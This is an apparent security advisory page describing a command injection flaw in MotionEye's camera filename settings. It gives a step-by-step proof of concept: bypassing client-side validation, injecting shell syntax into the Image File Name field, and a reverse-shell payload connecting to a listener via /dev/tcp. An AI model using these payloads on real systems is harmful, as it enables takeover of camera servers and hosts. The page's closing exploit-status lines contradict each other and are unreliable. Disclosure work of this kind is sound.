Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-1680
No affected components available
Summary
A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
Details
Root Cause:
MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Vulnerability flow:
Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload
Affected code:
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
Proof of Concept (PoC)
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.
Environment Setup
-
Start MotionEye container
Launch the vulnerable container:docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge -
Verify version
Confirm the running version inside logs:docker logs motioneye | grep "motionEye server"Result:
<img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />motionEye server 0.43.1b4 -
Container shell access (for verification later)
Keep a shell handy to verify results:docker exec -it motioneye /bin/bash ls -la /tmp
Exploitation Steps
-
Access Web Interface
- Open browser at:
http://127.0.0.1:9999 - Login with default credentials: admin / (blank password)
- Add a sample RTSP network camera (required to enable camera-specific settings).
- Open browser at:
-
Attempt malicious filename input
- Go to: Camera Settings → Still Images
- In the Image File Name field, try:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S - Observation: This is blocked by client-side validation in the browser.
-
Client-Side Validation Discovery
- The check is implemented in JavaScript:
/static/js/main.js?v=0.43.1b4→ references/static/js/ui.js?v=0.43.1b4
- Example validation function:
function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; }
- The check is implemented in JavaScript:
-
Bypass Validation
- Open browser console (F12 → Console tab)
- Override the function to always return true:
configUiValid = function() { return true; }; - This bypasses client-side validation and allows arbitrary values. <img width="819" height="539" alt="bypass" src="https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2" />
-
Inject Payload
- Set Capture Mode:
Interval Snapshots - Set Interval:
10 - Set Image File Name to the payload:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S - Click Apply to save settings. <img width="565" height="344" alt="inject_payload" src="https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e" />
- Set Capture Mode:
-
Verify Execution
- Inside the container shell:
ls -la /tmp - Result: File
/tmp/testis created with root permissions, confirming code execution. <img width="554" height="164" alt="verify" src="https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02" />
- Inside the container shell:
Weaponizing RCE (Reverse Shell Example)
-
Start attacker listener
nc -lvnp 4444 -
Inject reverse shell payload
Enter the following into the Image File Name field:$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S -
Result
- A reverse shell connects back to the attacker’s machine.
- Attacker gains full control of the MotionEye container environment. <img width="1140" height="366" alt="final" src="https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9" />
Root Cause
- MotionEye writes unsanitized values (e.g.,
image_file_name) from the Web UI directly intocamera-<id>.conf. - On restart, the
motionbinary parses these fields as shell-expandable strings, leading to arbitrary command execution.
Impact
Type: OS Command Injection → Remote Code Execution
Who is impacted:
- Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
- Containerized and bare-metal installs alike.
Potential consequences:
- Full compromise of MotionEye container.
- Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard